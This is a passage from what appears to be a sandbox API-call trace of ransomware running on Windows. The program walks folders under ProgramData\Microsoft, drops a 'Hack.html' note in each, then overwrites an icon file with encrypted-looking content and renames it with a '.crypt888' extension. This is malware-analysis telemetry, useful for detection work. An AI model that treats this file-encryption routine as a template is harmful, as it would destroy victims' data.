lpOldMode=0x39ed84) returned 1 [0070.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.936] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x25 [0070.936] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\", lpFilePart=0x0) returned 0x26 [0070.936] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.936] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.936] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.936] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.937] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x35 [0070.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\", lpFilePart=0x0) returned 0x36 [0070.937] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.937] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.937] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.938] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.938] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x35 [0070.938] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\", lpFilePart=0x0) returned 0x36 [0070.938] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.938] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.938] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.938] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.939] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", lpFilePart=0x0) returned 0x3f [0070.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.939] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.947] GetFileType (hFile=0x258) returned 0x1 [0070.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.947] GetFileType (hFile=0x258) returned 0x1 [0070.948] WriteFile (in: hFile=0x258, lpBuffer=0x27f5c0c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27f5c0c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.949] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\Hack.html", lpFilePart=0x0) returned 0x2f [0070.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.949] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\Hack.html" (normalized: "c:\\programdata\\microsoft\\netframework\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.949] GetFileType (hFile=0x258) returned 0x1 [0070.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.949] GetFileType (hFile=0x258) returned 0x1 [0070.949] WriteFile (in: hFile=0x258, lpBuffer=0x27f83cc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27f83cc*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.950] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network", lpFilePart=0x0) returned 0x20 [0070.951] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\", lpFilePart=0x0) returned 0x21 [0070.951] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.951] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.951] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.951] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.952] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.952] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.952] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network", lpFilePart=0x0) returned 0x20 [0070.952] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\", lpFilePart=0x0) returned 0x21 [0070.952] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.952] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.953] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.953] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.953] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.953] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.953] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x2c [0070.953] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\", lpFilePart=0x0) returned 0x2d [0070.953] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.954] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.954] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.954] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.954] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x2c [0070.954] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\", lpFilePart=0x0) returned 0x2d [0070.954] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.955] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.955] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.955] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.955] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\Hack.html", lpFilePart=0x0) returned 0x36 [0070.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.955] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Hack.html" (normalized: "c:\\programdata\\microsoft\\network\\connections\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.956] GetFileType (hFile=0x258) returned 0x1 [0070.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.956] GetFileType (hFile=0x258) returned 0x1 [0070.957] WriteFile (in: hFile=0x258, lpBuffer=0x27fd4fc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27fd4fc*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.958] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2b [0070.958] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpFilePart=0x0) returned 0x2c [0070.958] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.958] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.958] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.958] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.958] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.958] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.959] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2b [0070.959] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpFilePart=0x0) returned 0x2c [0070.959] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.959] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.959] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.959] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.959] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.960] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.960] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\Hack.html", lpFilePart=0x0) returned 0x35 [0070.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.960] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\Hack.html" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.960] GetFileType (hFile=0x258) returned 0x1 [0070.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.960] GetFileType (hFile=0x258) returned 0x1 [0070.961] WriteFile (in: hFile=0x258, lpBuffer=0x280151c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x280151c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.962] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Hack.html", lpFilePart=0x0) returned 0x2a [0070.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.962] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Hack.html" (normalized: "c:\\programdata\\microsoft\\network\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.962] GetFileType (hFile=0x258) returned 0x1 [0070.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.963] GetFileType (hFile=0x258) returned 0x1 [0070.963] WriteFile (in: hFile=0x258, lpBuffer=0x2803ccc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2803ccc*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.964] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE", lpFilePart=0x0) returned 0x1f [0070.964] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\", lpFilePart=0x0) returned 0x20 [0070.964] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.970] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.970] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.970] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.970] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.970] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.970] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.971] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.971] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.971] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.971] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.972] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE", lpFilePart=0x0) returned 0x1f [0070.972] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\", lpFilePart=0x0) returned 0x20 [0070.972] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.973] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.973] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.974] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.974] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.974] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.974] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.974] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.974] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.974] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.974] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.975] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico", lpFilePart=0x0) returned 0x30 [0070.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0070.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.982] GetFileType (hFile=0x258) returned 0x1 [0070.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0070.982] GetFileType (hFile=0x258) returned 0x1 [0070.982] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x1536 [0070.982] ReadFile (in: hFile=0x258, lpBuffer=0x28072d8, nNumberOfBytesToRead=0x1536, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28072d8*, lpNumberOfBytesRead=0x39ed58*=0x1536, lpOverlapped=0x0) returned 1 [0071.033] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico", lpFilePart=0x0) returned 0x30 [0071.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.034] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0071.035] GetFileType (hFile=0x258) returned 0x1 [0071.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0071.035] GetFileType (hFile=0x258) returned 0x1 [0071.035] WriteFile (in: hFile=0x258, lpBuffer=0x285aae0*, nNumberOfBytesToWrite=0x1540, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x285aae0*, lpNumberOfBytesWritten=0x39ed48*=0x1540, lpOverlapped=0x0) returned 1 [0071.036] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico", lpFilePart=0x0) returned 0x30 [0071.036] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico.crypt888", lpFilePart=0x0) returned 0x39 [0071.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0071.036] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb89bf20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1540)) returned 1 [0071.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0071.036] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico.crypt888" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico.crypt888")) returned 1 [0071.037] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico", lpFilePart=0x0) returned 0x36 [0071.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0071.037] CreateFileW 